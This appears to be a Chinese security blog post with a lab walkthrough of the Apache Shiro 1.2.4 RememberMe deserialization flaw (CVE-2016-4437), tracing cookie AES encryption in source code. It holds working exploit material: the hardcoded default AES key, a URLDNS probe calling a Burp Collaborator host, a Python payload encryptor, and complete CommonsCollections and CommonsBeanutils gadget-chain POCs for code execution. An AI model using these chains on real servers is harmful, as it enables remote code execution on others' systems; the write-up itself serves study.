Java反序列化漏洞——Shiro550

概述

Shiro框架

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

Shiro反序列化漏洞——Shiro550(CVE-2016-4437)

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户的登录信息加密编码,然后存储在Cookie中。对于服务端,如果检测到用户的Cookie,首先会读取rememberMe的Cookie值,然后进行base64解码,然后进行AES解密再反序列化。

反过来思考一下,如果我们构造该值为一个cc链序列化后的字符串,并使用该密钥进行AES加密后再进行base64编码,那么这时候服务端就会去进行反序列化我们的payload内容,这样就可以达到命令执行的效果。

漏洞流程

获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

影响版本

Apache Shiro <= 1.2.4

特征判断

响应包中包含字段remember=deleteMe字段

漏洞环境搭建

下载shiro1.2.4源码

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4 #切换到指定版本分支

根据下载的源码创建maven项目

idea下创建

创建新项目

选择shiro\sample\web目录

选择目录

配置pom.xml依赖文件

更改maven配置文件和仓库位置,添加jstl版本

注释以下两处,不然会报404错误

添加modules和artifacts

添加modules
添加artifacts

编译打包

命令行下mvn compile编译生成target文件

生成的target文件

命令行下mvn package打包生成war文件

生成的war包

添加tomcat服务

添加deployment

选择生成的war包

最后点击运行即可

shiro主页面

漏洞分析

源码下载

在进行漏洞调试之前,需要下载maven依赖的源码 ,以下两个是我们主要用到的源码

漏洞点

在我们登录shiro之后,如果点击了remember选项,网站就会生成一个Cookie来记住你的登录信息

remember字段

可以看到在登录之后生成了一串base64来作为登录用户的Cookie。实际上后端是对用户登录信息进行序列化,然后进行AES加密后base64,这便是我们的Cookie。

如果我们能构造恶意的序列化代码,然后使用相同的方式加密传入,那么后端就会相应的解密反序列化,然后就会执行我们的恶意代码。

加密过程分析

可以先全局搜索Cookie有关的类方法等。问题是出现在org.apache.shiro:shiro-web-1.2.4下的CookieRememberMeManager类中

rememberSerializedIdentity()方法中会对我们传入的序列化字符串serialized进行base加密并将其作为Cookie。跟进,看哪里调用了该方法

rememberSerializedIdentity()方法

AbstractRememberMeManager类的rememberIdentity()方法中,先对传入的byte通过convertPrincipalsToBytes()方法处理,再次查看哪里调用了rememberIdentity()

rememberIdentity()方法

最终跟进到onSuccessfulLogin()方法中,再次跟进,可以看到该方法被rememberMeSuccessfulLogin()调用,这里应该就是”记住我”的功能点了,我们再这里下个断点调试

onSuccessfulLogin()方法

使用root登录,跟到了rememberMeSuccessfulLogin()中,单步调试

向下跟进到onSuccessfulLogin()方法中,调用forgetIdentity()方法对subject进行处理,subject对象表示单个用户的状态和安全操作,包含认证、授权等,跟进

forgetIdentity()方法

forgetIdentity()中,对subject进行了处理,继续跟进forgetIdentity()

跟进forgetIdentity()方法,getCookie()方法获取请求的cookie,接着会进入到removeFrom()方法

跟进removeFrom()方法,removeForm主要在response头部添加字段Set-Cookie: rememberMe=deleteMe

removeFrom()方法
value

再回到onSuccessfulLogin()方法中,如果设置rememberMe则进入rememberIdentity(),跟进看是怎么处理的

rememberIdentity()方法

rememberIdentity()中,调用了convertPrincipalsToBytes()对用户名进行了处理,跟进

rememberIdentity()方法

convertPrincipalsToBytes()方法中,先对用户名进行序列化,然后使用encrypt()进行加密,跟进encrypt()

convertPrincipalsToBytes()方法

encrypt()中,可以看到使用的加密算法是AES,使用AES算法对cookie进行加密。在这里可以看见一些加密的信息,跟进看一下

encrypt()方法
加密信息

getEncryptionCipherKey()方法返回加密的密钥,我们跟进看一下加密的密钥是什么

加密密钥

看value write,哪里给encryptionCipherkey赋值

value write

setEncryptionCipherKey()赋值的,跟进看哪里调用了

setEncryptionCipherKey()方法

setCipherKey()中同时给加解密密钥赋值,继续跟进

setCipherKey()方法

AbstractRememberMeManager()方法中赋值,可以看见这里这个常量应该就是密钥

AbstractRememberMeManager()方法

可以看见密钥DEFAULT_CIPHER_KEY_BYTES是一个常量,这里就是漏洞利用的关键点

加密密钥:kPH+bIxk5D2deZiIxcaaaA==

加密完成后,回到rememberIdentity(),这里的bytes就是加密之后的cookie

rememberIdentity()方法

跟进rememberSerializedIdentity(),最终将我们加密之后的cookie先进行base64编码,再存储到当前会话的Cookie中

rememberSerializedIdentity()方法

至此就是根据用户信息加密生成Cookie的完整过程

解密过程分析

下面我们来调试一下解密过程,在AbstractRememberMeManager.getRememberedPrincipals()下一个断点

断点

在bp中发个包,注意此时我们要把Cookie中的sessionID删除,不然后端不会解析我们的加密串

接着跟进CookieRememberMeManager.getRememberedSerializedIdentity(),在其中获取cookie然后将其base64解密

CookieRememberMeManager.getRememberedSerializedIdentity()

接着跟进AbstractRememberMeManager.convertBytesToPrincipals()

convertBytesToPrincipals()

跟进decrypt()

decrypt()

继续跟进JcaCipherService.decrypt(),这里的解密密钥通过getDecryptionCipherKey()获得,为固定值

JcaCipherService.decrypt()

此处代码的主要逻辑是先生成一个初始向量iv,可以看见使用了arraycopy()函数,iv是从ciphertext中复制的,也就是说初始向量是我们密文的一部分。接着将密文减去初始向量,然后再将其解密。

最终是调用的是java自带的AES解密方法,解密之后返回并将其反序列化

反序列化

跟进deserialize()

deserialize()方法

至此为完整的Cookie解密过程

结构概览

结构概览

漏洞利用

使用URLDNS链进行漏洞探测

我们可以使用URLDNS链来测试是否存在反序列化漏洞

利用URLDNS生成序列化文件

//URLDNS.java

import java.io.*;
import java.util.HashMap;
import java.net.URL;
import java.lang.reflect.Field;

public class URLDNS {
    public static void main(String[] args) throws Exception{
        HashMap map=new HashMap();
        URL url=new URL("http://e2hvmezvglr70to8gako0p6ycpig65.burpcollaborator.net");

        Class clazz=Class.forName("java.net.URL");
        Field hashcode=clazz.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,123);
//        System.out.println(hashcode.get(url));
        map.put(url,"test");
        hashcode.set(url,-1);

        serialize(map);
//        unserialize("ser.bin");


    }
    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object object=ois.readObject();
        return object;
    }
}

接着使用Python对序列化文件进行AES加密

from Crypto.Cipher import AES
import uuid
import base64

def convert_bin(file):
    with open(file,'rb') as f:
        return f.read()


def AES_enc(data):
    BS=AES.block_size
    pad=lambda s:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()
    key="kPH+bIxk5D2deZiIxcaaaA=="
    mode=AES.MODE_CBC
    iv=uuid.uuid4().bytes
    encryptor=AES.new(base64.b64decode(key),mode,iv)
    ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode()
    return ciphertext

if __name__=="__main__":
    data=convert_bin("ser.bin")
    print(AES_enc(data))

我们将生成的base64字符串传入cookie中,注意这里我们将session删除

传入cookie

接着可以收到了我们发送的请求,说明漏洞存在

Shiro_CC3.2.1利用链

由于在Shiro中重写了readObject,然后能够反序列化我们传入的payload,我们先尝试使用CC6这条对CC和jdk版本没有限制的链来攻击。但是在shiro中,默认其实是没有CC依赖的,所以在测试学习的时候需要我们在maven中手动添加上CC3.2.1依赖。

尝试攻击

传入payload发现没有反应,查看服务器日志

服务器日志

无法加载Transformer数组类,既然无法加载数组类,那么我们将payload改写,不使用数组类

改写

在CC2中,我们直接使用了InvokerTransformer类来加载,后半条链使用的是动态加载类,这样可以绕过Transformers数组,因为如果后半条链使用Runtime的话,需要反射来递归加载,这样就必须使用到数组

接着在CC2中,我们使用的是PriorityQueue这个类,但是这个类是commons-collections4才有的类,我们可以尝试使用无依赖的版本,也就是使用CC6的后半条链HashMap

我们想要调用InvokerTransformer.Transformer(),在CC6中是通过LazyMap.get()来调用的,对象是factory,将其链接起来

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class ShiroCC {
    public static void main(String[] args) throws Exception{
        //CC3
        TemplatesImpl templatesimpl=new TemplatesImpl();

        Class c=templatesimpl.getClass();
        Field _nameField=c.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templatesimpl,"aaa");

        Field _byteCodesField=c.getDeclaredField("_bytecodes");
        _byteCodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\loader\\test.class"));
        byte[][] codes= {code};
        _byteCodesField.set(templatesimpl,codes);


        //CC2
        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);


        //CC6
        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templatesimpl);
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"eee");
        lazyMap.remove(templatesimpl);


        //反射修改LazyMap类的factory属性
        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,invokerTransformer);


        serialize(hashMap2);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object object=ois.readObject();
        return object;
    }
}

生成pyaload文件并将其加密发送,成功执行

成功calc

为什么Shiro无法反序列化Transformers数组

在我们反序列化的时候,在readObject之前,初始化了一个ClassResolvingObjectInputStream类,调用它的readObject()

我们跟进看一下,在ClassResolvingObjectInputStream类中有一个resolveClass()方法,实际上这个方法在readObject()时会调用

我们在ObjectInputStream中验证一下

readObject()调用readObject0()

readObject()

readObject0()中调用readClassDesc()

readObject0()

readClassDesc()中调用readNonProxyDesc()

readClassDesc()

可以看见,在readNonProxyDesc()中调用了resolveClass()

readNonProxyDesc()

我们跟进 resolveClass() 中的forName(),可以看到这里加载了HashMap

forName()

跟进loadClass(),这里调用了Tomcat的WebApp这个加载器的loadClass(),跟进(需要下载Tomcat源码)

loadClass()

但事实上,真正调用到此处时,使用的是URLClassLoader

URLClassLoader

根据流程,这个ParallelWebappClassLoader类加载器会先寻找内部缓存,如果找不到的话再交给URLClassLoader。我们看图中的path值,能找得到,反而才奇怪。找的其实是Transformer.class的路径,但是并不存在这个路径,所以当然找不到。因此,这就是Shiro找不到Transformer数组类型的真正原因。经过测试,把数组去掉,正常初始化。

Shiro_CB1.8.3无依赖利用链

在Shiro中没有CC依赖,但是有一个叫commons-beanutils的依赖。这个依赖主要是扩充了JavaBean语法,能够动态调用符合JavaBean的类方法。

commons-beanutils介绍

Apache Commons是一个Apache项目,提供了功能齐全的通用Java组件,BeanUtils是对Java反射和自检(introspection)API的包装,让使用变得更加容易。

commons-beanutils使用举例

有一个符合JavaBean的Person类

public class Person {
    private String name;
    private int age;

    public Person(String name,int age){
        this.name=name;
        this.age=age;
    }

    public String getName(){
        return name;
    }

    public void setName(String name){
        this.name=name;
    }

    public int getAge(){
        return age;
    }

    public void setAge(int age){
        this.age=age;
    }
}

我们可以直接调用其方法,也可以使用CB进行动态调用

import org.apache.commons.beanutils.PropertyUtils;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        Person person=new Person("aaa",18);
//        System.out.println(person.getName());
        //使用CB进行调用
        System.out.println(PropertyUtils.getProperty(person,"name"));
    }
}
运行结果

Gadget Chain

Gadget Chain

CB链构造

在CC2链中,我们是通过调用它的newTransformer()方法来进行动态类加载的。而在该类的getOutputProperties()方法恰好调用了newTransformer()方法,而该方法又恰好是符合JavaBean的,可以考虑使用CB来动态加载

测试动态加载

public class ShiroCB {
    public static void main(String[] args) throws Exception{
        //CC2
        TemplatesImpl templatesimpl=new TemplatesImpl();

        Class c=templatesimpl.getClass();
        Field _nameField=c.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templatesimpl,"aaa");

        Field _byteCodesField=c.getDeclaredField("_bytecodes");
        _byteCodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\loader\\test.class"));
        byte[][] codes= {code};
        _byteCodesField.set(templatesimpl,codes);
        
        PropertyUtils.getProperty(templatesimpl,"outputProperties");
}

成功执行

下一步我们需要寻找哪里调用了getProperty()方法

后两个都是没有继承Serializable接口的,我们重点看BeanComparator

BeanComparator类是在compare()方法调用的getProperty()方法,而在CC2这条链中,我们也使用了compare()方法。我们可以将这几条链拼接一下

compare()方法

测试

public class ShiroCB {
    public static void main(String[] args) throws Exception{
        //CC2
        TemplatesImpl templatesimpl=new TemplatesImpl();

        Class c=templatesimpl.getClass();
        Field _nameField=c.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templatesimpl,"aaa");

        Field _byteCodesField=c.getDeclaredField("_bytecodes");
        _byteCodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\loader\\test.class"));
        byte[][] codes= {code};
        _byteCodesField.set(templatesimpl,codes);
        BeanComparator beanComparator = new BeanComparator("outputProperties");

        PriorityQueue priorityQueue = new PriorityQueue(beanComparator);

        priorityQueue.add(templatesimpl);
        priorityQueue.add(2);
        serialize(priorityQueue);
}

报错找不到方法

报错

实际上这里在调用add()方法的时候就会调用到compare()

而在compare中,实际上我们还没有传入对象,所以找不到方法。所以可以先将BeanComparator初始化为空,再通过反射修改

修改

PriorityQueue priorityQueue = new PriorityQueue();

priorityQueue.add(1);
priorityQueue.add(2);

Class clazz=PriorityQueue.class;
Field comparatorField = clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);

还是报错,问题出在这里,TemplatesImpl不能强转成Compare类型

如果我们add的时候赋为空,肯定不会报错,但是这样也执行不了

有两种修改方案

  • 一种先add数字,然后再使用反射来修改值
  • 第二种就是使用TransformingComparator

继续修改,使用CC4中的TransformingComparator类,可以执行

但是问题来了,这里的TransformingComparator类是CommonsColections4中的类,但是在Shiro中并没有使用到该依赖。

实际上,我们在后面又反射修改了PriorityQueue类的值为BeanComparator类,所以在我们序列化的文件中是不包含TransformingComparator类的

尝试执行,仍然无法执行,报错

可以看到,无法加载ComparableComparator类,这个类是在CC依赖里的,但是明明我们ser.bin中没有使用cc依赖,那么为什么还是会有这个类呢?

实际上,CB依赖在设计上有部分和CC依赖重叠了,在BeanComparator类中,我们调用的是一个参数的构造函数

单参数构造函数

可以看到,这里默认对comparator初始化为ComparableComparator类,所以是这里导致的无法加载CC依赖类

接下来我们可以使用两个参数的构造方法,传入一个CB或者jdk的comparator

该类有两个要求,一个是继承Compare类,另一个是需要继承Serializable接口

编写脚本寻找

较为合适的有AttrCompare类,其为jdk自带的类

AttrCompare类

测试执行,成功执行

完整POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
    public static void main(String[] args) throws Exception{
        //CC2
        TemplatesImpl templatesimpl=new TemplatesImpl();

        Class c=templatesimpl.getClass();
        Field _nameField=c.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templatesimpl,"aaa");

        Field _byteCodesField=c.getDeclaredField("_bytecodes");
        _byteCodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\loader\\test.class"));
        byte[][] codes= {code};
        _byteCodesField.set(templatesimpl,codes);

//        Field tfactory = c.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templatesimpl,new TransformerFactoryImpl());

        //CB
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

        //CC2
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));


        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templatesimpl);
        priorityQueue.add(templatesimpl);

        Class clazz=PriorityQueue.class;
        Field comparatorField = clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue,beanComparator);
//        Class clazz=beanComparator.getClass();
//        Field transformerdeclaredField = clazz.getDeclaredField("transformer");
//        transformerdeclaredField.setAccessible(true);
//        transformerdeclaredField.set(transformingComparator,invokerTransformer);
//
        serialize(priorityQueue);
//        unserialize("ser.bin");

    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object object=ois.readObject();
        return object;
    }
}
注意
在使用ysoseria工具的时候,如果出现了serializeID的问题,那么很有可能是依赖版本不一致的问题

评论

  1. ocean
    Windows Chrome 110.0.0.0
    2年前
    2023-3-02 22:32:29

    师傅你好,我想问问我在安装环境的时候执行git checkout命令,无法切换到1.2.4分支,而是直接报错error: pathspec ‘shiro-1.2.4’ did not match any file(s) known to git,请问有什么办法解决吗

    • 博主
      ocean
      Windows Firefox 110.0
      2年前
      2023-3-03 14:25:43

      是不是分支名搞错了,尝试git checkout shiro-root-1.2.4

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇